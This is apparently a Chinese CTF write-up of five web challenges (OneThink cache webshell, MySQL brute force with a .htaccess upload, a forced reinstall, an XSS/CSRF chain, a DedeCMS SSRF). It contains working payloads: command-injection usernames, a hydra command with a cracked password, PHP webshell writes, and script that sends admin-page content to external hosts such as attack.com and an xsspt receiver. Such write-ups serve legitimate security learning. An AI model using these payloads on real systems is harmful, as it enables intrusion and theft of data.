巅峰极客webwriteup

当天车上看了一会题,然后回来继续肝了一会,太累了睡着了...比较惨...今天就简单复现一下吧

A Simple CMS

进去之后发现是oneThink的框架 blacsheep 百度一下漏洞,发现有个缓存洞,然后我就直接访问了那个缓存文件,发现不存在...然后就没看了..看了wp发现就是缓存做的不过缓存改了,然后给了个www.zip让我们看文件..可还行.. 思路就是以此注册两个账号 %0a$a=$_GET[a];//%0aecho `$a `;// 然后再依次登录,然后缓存文件就有shell了,本地实验一下,然后发现文件在Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php 然后就getshell了 burp的包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?s=/Home/User/register.html HTTP/1.1
Host: b87051f333804bcda22717be7b65a925c2190c99315c4e0e.game.ichunqiu.com
Content-Length: 95
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://b87051f333804bcda22717be7b65a925c2190c99315c4e0e.game.ichunqiu.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://b87051f333804bcda22717be7b65a925c2190c99315c4e0e.game.ichunqiu.com/index.php?s=/Home/User/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=163bce1a13fc08-098d67d4284b6b-737356c-1fa400-163bce1a140248; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; pgv_pvi=3919248384; pgv_si=s6303365120; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1532146491,1532218918,1532239817; ci_session=e130184c93df8e71c7b9b914a9a57533887d6aeb; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1532267215; PHPSESSID=5umnh4fksrbf55vrvd9aokaik0
Connection: close

username=%0aecho `$a`;//&password=123321&repassword=123321&email=12344121%40qq.com&verify=elbpi

flag在tmp下 blacsheep

babyweb

hydra爆出mysql的root密码,虽然现在已经爆不了了..

1
hydra -l root -p 1q2w3e4r5t6y 117.50.1.145 mysql

当然里面的-p可以换成-P然后跟字典文件,这个弱密码在某top3575弱密码里面有,是可以爆出来的... 然后从库里面发现账号密码

1
2
username:BabyWeb@my.lol
password:babyweb@1990

差一点点就猜出来了..我当时试的账号是BabyWeb@my.lol,密码试的是babyweb&1990,有点可惜... 进去之后发现了一个文件上传的点,上传的名字不知道,这里需要连数据库然后这里说只有.htaccess可以传,那就传.htaccess

1
2
3
<FilesMatch "abc">
SetHandler application/x-httpd-php
</FilesMatch>

然后传个abc结尾的文件就getshell了 不过需要连接数据库...现在已经连不上了,就不演示了 非常规解是读了/etc/shadow,然后用john解出ssh密码然后连上去拿flag的... blacsheep 大佬大佬orz...

pentest

这个题...好吧感觉蛮坑的,扫目录得到/file/file.php,发现是个任意文件删除,删除掉config里面的install.lock然后就可以重装,重装的时候数据库配置插入一句话木马,可以本地先试试,然后再去打服务器,然后就shell了... blacsheep 然后/tmp下找到flag

1
flag{6d791d58-5b04-4406-ad07-78a3dcac6802}

Mysql Online

这个题的xss思路蛮好的,虽然题目是个mysql而且我思路一开始直接就错了... 利用sql读的数据可以造成xss blacsheep 当然你也可以unhex一下,一样的 在提交的content里面填自己的vps,然后得到返回 blacsheep 可以看到登录页面,那么下面就是通过csrf来让他打到自己的页面咯,vps上构造页面

1
2
3
4
5
6
7
8
9
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/runsql.php" method="POST">
<input type="hidden" name="sql" value="select 0x3c736372697074207372633d68747470733a2f2f78737370742e636f6d2f32724f7a6c773f313533323333333438363e3c2f7363726970743e" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

简单的一个页面,让服务端向127.0.0.1的runsql.php发请求,服务端请求之后导致xss的payload生效...第一次打csrf,学习了学习了... 服务端访问之后,信息打到xsspt上,看一下结果 blacsheep 发现cookie没东西,那我们去打一下admin_zzzz666.php的页面,得到结果 blacsheep base解一下,得到页面内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
403: only 127.0.0.1 can find me, so you can get this: http://127.0.0.1/runsql.php
<!DOCTYPE html>
<html>
<head>
<title>Online Mysql Run</title>
</head>
<body>

<h3>Admin Index:</h3>

<img src="./static/img/iamsecret_555.jpg">

I am l3m0n tree.

</body>
</html>

发现有个图片,直接访问,发现403了,那么去获取这个图片咯,github上面有个可以canvas画页面的工具,给个链接 https://github.com/Lz1y/frame2canvas 然后修改一下配置 blacsheep 然后payload,payload注意hex一下然后传到sql变量里面

1
<iframe id="myIframe" src="admin_zzzz666.php"></iframe><script src="//attack.com/atk.js"></script>

然后写一个receive.php

1
2
3
<?php
header('Access-Control-Allow-Origin: *');
file_put_contents('log.txt',$_POST['v']);

然后就可以收到log.txt了,然后base转图片就可以看到flag了 blacsheep

dedefun

这个题其实还是远古的getimagesize暴路径那个点,不过有更新,就是getimagesize可以造成ssrf,比如说我在我的kali上配一个简单页面 blacsheep 访问之后,发现在vps上收到显示 blacsheep 然后就没有了,因为这道题就是个ssrf的点... 题目描述

1
2
3
4
5
6
7
8
运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。
1.php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>

那么直接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /tags.php HTTP/1.1
Host: love.lemon
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=1531231707; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 251

dopost=save&_FILES[lsa][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=file_put_contents($_GET[1],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif

就ok了,没啥好说的